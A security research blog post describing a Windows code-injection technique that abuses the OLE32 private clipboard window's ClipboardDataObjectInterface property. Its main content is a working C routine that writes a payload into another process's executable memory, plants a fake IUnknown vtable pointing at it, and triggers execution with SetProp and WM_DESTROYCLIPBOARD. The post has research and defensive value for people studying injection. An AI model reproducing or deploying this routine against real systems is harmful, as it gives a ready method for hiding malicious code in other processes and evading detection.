Windows Process Injection: CLIPBRDWNDCLASS

Introduction

The Object Linking & Embedding (OLE) library (ole32.dll) uses a private clipboard. It registers CLIPBRDWNDCLASS as a window class, creates a window derived from that class, and assigns a number of window properties to store the address of interfaces required to process clipboard data. Hexacorn describes here how one of the properties, ClipboardDataObjectInterface, can be leveraged for code injection. Two other properties, ClipboardRootDataObjectInterface and ClipboardDataObjectInterfaceMTA can also be used. If ClipboardDataObjectInterface is set to the address of an IUnknown interface and the clipboard window procedure receives a WM_DESTROYCLIPBOARD message, it will invoke the Release method.

Finding Windows

Private clipboards registered by OLE32.dll can’t be found by EnumWindows because they’re message-only windows. FindWindowEx with HWND_MESSAGE will find them and is used for the PoC. Another approach requires reading the ReservedForOle value of each Thread Environment Block in a process. ReservedForOle points to a SOleTlsData structure that contains a window handle for CLIPBRDWNDCLASS. To find private clipboards via the TEB, open a process and enumerate threads. Then perform the following steps:

  • Open the thread
  • Query the ThreadBasicInformation
  • Read tbi.TebBaseAddress
  • Read sizeof(SOleTlsData) from teb.ReservedForOle
  • Read hwndClip

Interface

Since only the Release method is called by the Window procedure that retrieves a pointer to the interface, the following structure is enough.

// fake interface
typedef struct _IUnknown_t {
    // a pointer to virtual function table
    ULONG_PTR lpVtbl;
    // the virtual function table
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;       // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;

Injection

The following code assumes a valid clipboard window already exists. There is no error checking.

VOID clipboard(LPVOID payload, DWORD payloadSize) {
    HANDLE     hp;
    HWND       hw;
    DWORD      id;
    IUnknown_t iu;
    LPVOID     cs, ds;
    SIZE_T     wr;
    
    // 1. Find a private clipboard.
    //    Obtain the process id and open it
    hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);
    GetWindowThreadProcessId(hw, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 2. Allocate RWX memory in process and write payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 3. Allocate RW memory in process.
    //    Initialize and write IUnknown interface
    ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    iu.Release = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
    
    // 4. Set the interface property and trigger execution
    SetProp(hw, L"ClipboardDataObjectInterface", ds);
    PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
    
    // 5. Release memory for code and data
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

Summary

This method is very similar to the PROPagate technique because it uses the SetProp API. However, this is easier to exploit because the window procedure removes the window property after receiving WM_DESTROYCLIPBOARD. PoC here.

This entry was posted in malware, programming, security, shellcode, windows and tagged , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s